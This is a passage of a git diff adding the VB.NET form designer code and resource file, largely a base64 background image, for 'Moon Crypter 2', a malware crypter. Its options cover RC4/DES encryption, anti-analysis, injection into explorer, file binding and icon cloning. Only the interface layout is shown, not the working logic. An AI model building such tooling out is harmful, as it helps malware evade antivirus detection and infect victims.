+ 'CheckRC4 + ' + Me.CheckRC4.AutoSize = True + Me.CheckRC4.Checked = True + Me.CheckRC4.Location = New System.Drawing.Point(17, 23) + Me.CheckRC4.Name = "CheckRC4" + Me.CheckRC4.Size = New System.Drawing.Size(46, 17) + Me.CheckRC4.TabIndex = 16 + Me.CheckRC4.TabStop = True + Me.CheckRC4.Text = "RC4" + Me.CheckRC4.UseVisualStyleBackColor = True + ' + 'GroupBox3 + ' + Me.GroupBox3.BackColor = System.Drawing.Color.Transparent + Me.GroupBox3.Controls.Add(Me.TextBytes) + Me.GroupBox3.Controls.Add(Me.CheckBytes) + Me.GroupBox3.Controls.Add(Me.TextProc) + Me.GroupBox3.Controls.Add(Me.CheckInject) + Me.GroupBox3.Controls.Add(Me.CheckAntis) + Me.GroupBox3.ForeColor = System.Drawing.Color.White + Me.GroupBox3.Location = New System.Drawing.Point(354, 109) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(334, 125) + Me.GroupBox3.TabIndex = 20 + Me.GroupBox3.TabStop = False + Me.GroupBox3.Text = "Others :" + ' + 'TextProc + ' + Me.TextProc.Location = New System.Drawing.Point(174, 53) + Me.TextProc.Name = "TextProc" + Me.TextProc.Size = New System.Drawing.Size(141, 20) + Me.TextProc.TabIndex = 2 + Me.TextProc.Text = "explorer" + ' + 'CheckInject + ' + Me.CheckInject.AutoSize = True + Me.CheckInject.Location = New System.Drawing.Point(19, 56) + Me.CheckInject.Name = "CheckInject" + Me.CheckInject.Size = New System.Drawing.Size(149, 17) + Me.CheckInject.TabIndex = 1 + Me.CheckInject.Text = "Custom process injection :" + Me.CheckInject.UseVisualStyleBackColor = True + ' + 'CheckAntis + ' + Me.CheckAntis.AutoSize = True + Me.CheckAntis.Checked = True + Me.CheckAntis.CheckState = System.Windows.Forms.CheckState.Checked + Me.CheckAntis.Location = New System.Drawing.Point(19, 19) + Me.CheckAntis.Name = "CheckAntis" + Me.CheckAntis.Size = New System.Drawing.Size(87, 17) + Me.CheckAntis.TabIndex = 0 + Me.CheckAntis.Text = "Enable Anti's" + Me.CheckAntis.UseVisualStyleBackColor = True + ' + 'GroupBox4 + ' + Me.GroupBox4.BackColor = System.Drawing.Color.Transparent + Me.GroupBox4.Controls.Add(Me.BtnBind) + Me.GroupBox4.Controls.Add(Me.TextBind) + Me.GroupBox4.Controls.Add(Me.CheckBind) + Me.GroupBox4.Controls.Add(Me.CheckClone) + Me.GroupBox4.Controls.Add(Me.TextClone) + Me.GroupBox4.Controls.Add(Me.BtnClone) + Me.GroupBox4.Controls.Add(Me.BtnIcon) + Me.GroupBox4.Controls.Add(Me.CheckIcon) + Me.GroupBox4.Controls.Add(Me.TextIcon) + Me.GroupBox4.ForeColor = System.Drawing.Color.White + Me.GroupBox4.Location = New System.Drawing.Point(12, 109) + Me.GroupBox4.Name = "GroupBox4" + Me.GroupBox4.Size = New System.Drawing.Size(335, 227) + Me.GroupBox4.TabIndex = 21 + Me.GroupBox4.TabStop = False + Me.GroupBox4.Text = "Options :" + ' + 'BtnBind + ' + Me.BtnBind.ForeColor = System.Drawing.Color.Black + Me.BtnBind.Location = New System.Drawing.Point(272, 180) + Me.BtnBind.Name = "BtnBind" + Me.BtnBind.Size = New System.Drawing.Size(44, 19) + Me.BtnBind.TabIndex = 15 + Me.BtnBind.Text = "..." + Me.BtnBind.UseVisualStyleBackColor = True + ' + 'TextBind + ' + Me.TextBind.Location = New System.Drawing.Point(20, 179) + Me.TextBind.Name = "TextBind" + Me.TextBind.Size = New System.Drawing.Size(236, 20) + Me.TextBind.TabIndex = 14 + ' + 'CheckBind + ' + Me.CheckBind.AutoSize = True + Me.CheckBind.Location = New System.Drawing.Point(21, 156) + Me.CheckBind.Name = "CheckBind" + Me.CheckBind.Size = New System.Drawing.Size(85, 17) + Me.CheckBind.TabIndex = 13 + Me.CheckBind.Text = "Bind with file" + Me.CheckBind.UseVisualStyleBackColor = True + ' + 'CheckBytes + ' + Me.CheckBytes.AutoSize = True + Me.CheckBytes.Location = New System.Drawing.Point(21, 92) + Me.CheckBytes.Name = "CheckBytes" + Me.CheckBytes.Size = New System.Drawing.Size(96, 17) + Me.CheckBytes.TabIndex = 3 + Me.CheckBytes.Text = "Add bytes (mb)" + Me.CheckBytes.UseVisualStyleBackColor = True + ' + 'TextBytes + ' + Me.TextBytes.Location = New System.Drawing.Point(174, 90) + Me.TextBytes.Name = "TextBytes" + Me.TextBytes.Size = New System.Drawing.Size(140, 20) + Me.TextBytes.TabIndex = 4 + Me.TextBytes.Text = "5" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image) + Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center + Me.ClientSize = New System.Drawing.Size(696, 347) + Me.Controls.Add(Me.GroupBox4) + Me.Controls.Add(Me.GroupBox3) + Me.Controls.Add(Me.GroupBox2) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.BtnCtypt) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.Text = "Moon Crypter 2 by t0fx" + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + Me.GroupBox2.ResumeLayout(False) + Me.GroupBox2.PerformLayout() + Me.GroupBox3.ResumeLayout(False) + Me.GroupBox3.PerformLayout() + Me.GroupBox4.ResumeLayout(False) + Me.GroupBox4.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents TextFile As System.Windows.Forms.TextBox + Friend WithEvents BtnBrowse As System.Windows.Forms.Button + Friend WithEvents BtnCtypt As System.Windows.Forms.Button + Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog + Friend WithEvents CheckIcon As System.Windows.Forms.CheckBox + Friend WithEvents TextIcon As System.Windows.Forms.TextBox + Friend WithEvents BtnIcon As System.Windows.Forms.Button + Friend WithEvents CheckClone As System.Windows.Forms.CheckBox + Friend WithEvents TextClone As System.Windows.Forms.TextBox + Friend WithEvents BtnClone As System.Windows.Forms.Button + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents TextEnc As System.Windows.Forms.TextBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents CheckDES As System.Windows.Forms.RadioButton + Friend WithEvents CheckRC4 As System.Windows.Forms.RadioButton + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents CheckAntis As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox + Friend WithEvents BtnBind As System.Windows.Forms.Button + Friend WithEvents TextBind As System.Windows.Forms.TextBox + Friend WithEvents CheckBind As System.Windows.Forms.CheckBox + Friend WithEvents TextProc As System.Windows.Forms.TextBox + Friend WithEvents CheckInject As System.Windows.Forms.CheckBox + Friend WithEvents TextBytes As System.Windows.Forms.TextBox + Friend WithEvents CheckBytes As System.Windows.Forms.CheckBox + +End Class diff --git a/scode (MyCrypter/MyCrypter/Form1.resx b/scode (MyCrypter/MyCrypter/Form1.resx new file mode 100644 index 0000000..717ee01 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/Form1.resx @@ -0,0 +1,2468 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg + JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy + MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAIyAx4DASIAAhEBAxEB/8QA + HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh + MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW + V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG + x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF + BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV + YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE + hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq + 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDwQbgmOSmf1oOcHJIBFGSBtydobpSN04HBoAbRThyNoHJNJjGM + 0AOGAvekLZGD16ZpAckZpcd6ABSQ3HXsaMEn8ce1K2CcgBVHGKN3VR0JzQAbSVZQeF5PPFNIIpWXDlT2 + NDEbfUk9cUAJj5AaV2LHmjPyYyevSmk570ALuJ6kntTe9OI545p4XcoATJ/vCgCKg8UvTrQQQcHHFACD + rTgRg8ZJHekJBJOMUE5x7UAKHOCMCkzjPelwAmcnPGKb1oAKB1oGMjPSlJGTjpQA8OPL2EAc53Y5pnTI + pVwAc9ccUmMHrQAo5oY5Yk459KaT2oAzQApYtTl2rywyewpNuOpp6JubOQAOrHoKAEZnc8/hjoKApIG4 + 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 + 